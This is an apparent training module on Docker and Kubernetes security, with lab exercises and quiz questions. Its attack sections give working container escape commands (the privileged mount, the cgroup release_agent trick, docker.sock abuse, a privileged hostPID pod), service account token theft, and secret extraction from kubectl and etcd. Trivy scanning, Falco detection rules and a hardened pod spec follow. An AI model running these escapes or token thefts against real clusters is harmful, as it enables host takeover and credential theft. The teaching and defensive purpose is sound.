Container Security: Docker & Kubernetes
Attack and defend containerized environments — Docker escape techniques, Kubernetes RBAC misconfigurations, privilege escalation in pods, secrets management, and runtime security with Falco.
Learning Objectives
- → Understand container isolation boundaries and how they differ from VMs
- → Exploit Docker misconfigurations: privileged containers, socket mount, capabilities
- → Enumerate and attack Kubernetes: API server, RBAC, pod exec, token theft
- → Extract secrets from Kubernetes and Docker environments
- → Implement container security: image scanning, runtime security with Falco
Container Isolation vs VM
VM: full hardware virtualization (separate kernel, hardware emulated)
Strong isolation: guest OS fully separated from host
Container: shared kernel, isolated using namespaces + cgroups
Lighter: shares host kernel
Weaker isolation: kernel exploits can break out
Container security depends on:
- Linux kernel hardening
- Seccomp profiles (syscall filtering)
- AppArmor/SELinux (mandatory access control)
- Capabilities (fine-grained privilege control)
- No privileged mode, no dangerous capabilities
Docker Attack Surface
Privileged Container Escape
# Privileged container: runs with all Linux capabilities + disabled seccomp
# Essentially root on the host OS
# Check if running privileged:
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff (ALL capabilities) = privileged
# CapEff: 00000000a80425fb (normal capabilities) = restricted
# Escape from privileged container:
# 1. Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # or /dev/nvme0n1p1
chroot /mnt/host
# Now inside host filesystem with root privileges!
# 2. Access host via cgroups notify_on_release:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*//p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output # uid=0(root) — running on HOST
Docker Socket Exposure
# docker.sock mounted in container = full host compromise
# Check for docker socket:
ls -la /var/run/docker.sock
# If present: you have host-level Docker control!
# Escape via docker.sock:
# Option 1: run new container with host filesystem mounted
docker run -v /:/mnt/host --rm -it ubuntu chroot /mnt/host
# Option 2: install docker CLI in container:
curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh
docker run -v /:/host --rm -it --privileged ubuntu bash
# Option 3: Python via docker API:
python3 -c "
import docker
client = docker.from_env()
client.containers.run('ubuntu', ['chroot', '/host', 'id'],
volumes={'/': {'bind': '/host', 'mode': 'rw'}}, remove=True)
"
Dangerous Capabilities
# Linux capabilities: fine-grained privilege splitting
# Some are dangerous even without full privileged mode:
CAP_SYS_ADMIN # nearly as powerful as root — device mount, namespace manipulation
CAP_NET_ADMIN # network interface control — ARP poisoning from container
CAP_SYS_PTRACE # process injection — attach to host processes
CAP_SYS_MODULE # load kernel modules — load malicious module
# Check your capabilities:
capsh --print
# Escape via CAP_SYS_ADMIN (using nsenter):
nsenter -t 1 -m -u -n -i -- # enter host namespaces
# PID 1 in container's view is host's init process
Kubernetes Attacks
Kubernetes Architecture
Kubernetes components:
- API Server: central control plane (kubectl hits this)
- etcd: key-value store (all cluster state — very sensitive!)
- Scheduler: assigns pods to nodes
- kubelet: node agent, runs pods
- Service Account: pod identity (token auto-mounted in pod)
Attack surface:
- Unauthenticated API server (--anonymous-auth=true)
- Over-permissive RBAC
- Privileged pods (run as root, host PID, host network)
- Service account token theft
- etcd without auth (contains all secrets!)
Service Account Token Theft
# Default: every pod gets a service account token mounted at:
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Read the token from inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
K8S=https://kubernetes.default.svc
# Use token to query API:
curl --cacert $CA -H "Authorization: Bearer $TOKEN" $K8S/api/v1/namespaces/
curl --cacert $CA -H "Authorization: Bearer $TOKEN" $K8S/api/v1/secrets/
# From outside cluster with stolen token:
kubectl --token=$TOKEN get pods -A
kubectl --token=$TOKEN get secrets -A
# Secrets base64 decoded:
kubectl get secret db-password -o jsonpath='{.data.password}' | base64 -d
RBAC Misconfigurations
# Check your permissions:
kubectl auth can-i --list
kubectl auth can-i get secrets --namespace kube-system
# Dangerous RBAC permissions:
# * on any resource — full access
# create pods — can create privileged pod to escape
# exec on pods — run commands in any pod
# get secrets — read all Kubernetes secrets
# create namespaces + modify roles — privilege escalation
# Example risky ClusterRoleBinding:
# subjects: kind: ServiceAccount, name: myapp
# roleRef: ClusterRole: cluster-admin ← DANGEROUS
# Exploit: if you can create pods, create privileged one:
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: escape
spec:
hostPID: true
containers:
- name: escape
image: ubuntu
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host
volumes:
- name: host
hostPath:
path: /
EOF
kubectl exec -it escape -- bash # now on host!
Kubernetes Secrets
# Kubernetes secrets: base64 encoded (NOT encrypted by default!)
# Anyone with secret read access gets plaintext credentials
# List all secrets:
kubectl get secrets -A
# Read a secret:
kubectl get secret db-credentials -o yaml
# data: password: cGFzc3dvcmQ= (base64)
echo "cGFzc3dvcmQ=" | base64 -d # password
# etcd: stores all secrets unencrypted (by default)
# Access etcd directly (if reachable):
ETCDCTL_API=3 etcdctl get /registry/secrets/default/db-credentials --endpoints=https://127.0.0.1:2379 --cacert=ca.crt --cert=cert.crt --key=key.key
Container Security Controls
Image Scanning
# Trivy: scan container images for CVEs:
trivy image nginx:1.20
# Output: critical/high/medium CVEs in base image and packages
# Build pipeline integration:
trivy image --exit-code 1 --severity CRITICAL myapp:latest
# Exit code 1 = found critical CVE → fail the CI build
# Check for secrets in images:
trivy image --security-checks secret myapp:latest
# Finds: hardcoded AWS keys, passwords, API tokens in image layers
Falco: Runtime Security
# Falco: CNCF runtime security tool — detects abnormal container behavior
# Uses eBPF/kernel module to monitor syscalls
# Example Falco rules (YAML):
# Detect shell in container:
- rule: Shell spawned in container
desc: A shell was spawned in a running container
condition: container and proc.name = bash
output: "Shell in container (container=%container.name pid=%proc.pid)"
priority: WARNING
# Detect write to /etc:
- rule: Write below etc
condition: container and open_write and fd.name startswith /etc
output: "Write to /etc (container=%container.name file=%fd.name)"
priority: ERROR
# Real-time alerts to SIEM, Slack, PagerDuty
Pod Security Best Practices
# Secure pod specification:
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true # don't run as root
runAsUser: 1000 # specific non-root UID
fsGroup: 2000 # filesystem group
seccompProfile:
type: RuntimeDefault # apply default seccomp profile
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false # no sudo/setuid
readOnlyRootFilesystem: true # immutable filesystem
capabilities:
drop:
- ALL # drop all capabilities
add:
- NET_BIND_SERVICE # only add what's needed
automountServiceAccountToken: false # don't auto-mount token
Practice Docker container escape in a lab: (1) run a privileged container: docker run --privileged -it ubuntu bash, (2) inside: check capabilities: cat /proc/self/status | grep CapEff, (3) attempt host filesystem access: mkdir /mnt/host && mount /dev/sda1 /mnt/host (or identify your host disk), (4) try docker socket method: docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash, then interact with docker socket from inside, (5) document which escape method worked and what access you achieved.
What is the risk of mounting /var/run/docker.sock inside a container?
Exploit Kubernetes service account tokens (use minikube: minikube start for a local K8s): (1) create a pod: kubectl run test --image=ubuntu --restart=Never -- sleep 3600, (2) exec in: kubectl exec -it test -- bash, (3) inside pod: read the service account token and CA cert, (4) use curl with Bearer token to query K8s API, (5) check what permissions the default service account has, (6) fix: create a pod with automountServiceAccountToken: false.
Why is automounting service account tokens dangerous by default?
Integrate image security into a workflow: (1) install Trivy: brew install trivy (Mac) or wget trivy binary (Linux), (2) scan a public image: trivy image node:14 (intentionally outdated for CVEs), (3) count Critical/High CVEs, (4) scan for secrets: trivy image --security-checks secret node:14, (5) scan your own Dockerfile: trivy config Dockerfile, (6) fix: update base image to node:20 and rescan — how many CVEs reduced?, (7) add Trivy scan to a CI pipeline (GitHub Actions snippet).
Why is using a minimal base image (like 'scratch' or Alpine) a security best practice?